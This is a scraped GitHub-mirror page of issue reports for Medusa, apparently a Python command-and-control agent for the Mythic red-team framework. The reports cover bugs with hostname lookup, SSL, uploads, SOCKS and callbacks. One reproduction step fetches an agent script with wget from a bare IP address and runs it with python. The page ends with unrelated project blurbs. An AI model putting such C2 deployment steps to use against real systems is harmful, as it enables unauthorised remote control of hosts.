mythicagents / medusa Goto Github PK
View Code? Open in Web Editor NEWMedusa is a cross-platform C2 agent compatible with Python 2.7 and 3.8, compatible with Mythic
Medusa is a cross-platform C2 agent compatible with Python 2.7 and 3.8, compatible with Mythic
The agent uses socket.gethostbyname()
to retrieve the IP address of the host by looking up the hostname, returned from socket.gethostname()
, against either the local resolver or the hosts file.
On macOS the device hostname is not present in /etc/hosts
by default, so looking up the hostname fails, causing the agent to exit.
Upload command seems not working! It adds in padding slashes and getting upload command output:
[Errno 13] Permission denied: 'C:\Users\minka\Downloads
Running it as Administrator
Hi,
somehow on one of the target systems the ssl module does not have PROTOCOL_TLS as it is included here
This results at the end in the following error:
AttributeError: module 'ssl' has no attribute 'PROTOCOL_TLS'
I'm not entirely sure how this happens, just fixed it up with the following, which ends up taking PROTOCOL_TLSv1
on the system:
gcontext = ssl.SSLContext([e for e in dir(ssl) if e.startswith('PROTOCOL_TLS')][0])
if "PROTOCOL_TLS" in dir(ssl):
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
I'm not sure how common this is, if it is worth adding
Can Medusa payloads be compiled with pyinstaller to executables?
Cross posting it here for visibility, but there's a small issue with the SOCKS command in Medusa:
Super easy fix (i added the fix as a comment there)
When attempting the following shell command:
ps auxwww | grep something
an error is returned saying that the pipe is an invalid character.
Is there another way to run a piped shell command via medusa?
Hi,
when spawning a new linux payload (python3), the active callback cannot be created as the username field is empty:
Failed to create new callback null value in column "user" of relation "callback" violates not-null constraint
DETAIL: Failing row contains (1, e11d1b05-1279-445e-af89-7cdf6a829c8f, 2022-02-06 08:56:10.628592, 2022-02-06 08:56:10.628595, null, WEB50, 35668, 172.10.10.50, 172.10.10.50, , First linux-python-payload, 1, t, 1, 2, f, null, 1, null, null, null, Linux 5.11.0-49-generic, x64, , null, , , null).
It seems as the os.getlogin() function causes the trouble, so I decided to replace it with getpass.getuser() which is also supported according to this article: https://stackoverflow.com/questions/47444178/difference-between-os-getlogin-and-os-environ-for-getting-username
docker pull ubuntu:20.04
docker run -itd --name ubuntu-test ubuntu:20.04
docker exec -it 6822bb6bb8aa6d7dec7c87daf0782aa9fd81c4fcf8a858a4c505b7bedd121af6 bash
apt update
apt install python3 python2 wget -y
wget http://1.1.1.1/test.py
python3 or python2 test.py
{"status":"error","error":"Failed to create callback: null value in column \"user\" of relation \"callback\" violates not-null constraint\nDETAIL: Failing row contains (34, bbc2c88c-2df8-4b62-9148-5726a39313d5, 2023-02-22 21:47:59.525972, 2023-02-22 21:47:59.525976, null, 6E86881CAB32, 3903, 172.17.0.3, 172.70.211.58, , medusa_py3_linux, 1, t, 29, 2, f, null, 1, null, null, null, Linux 5.15.0-60-generic, x64, , null, , , null).\n"}
Use minimal generation. It still has this error. Seems to be a problem with encryption and decryption
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.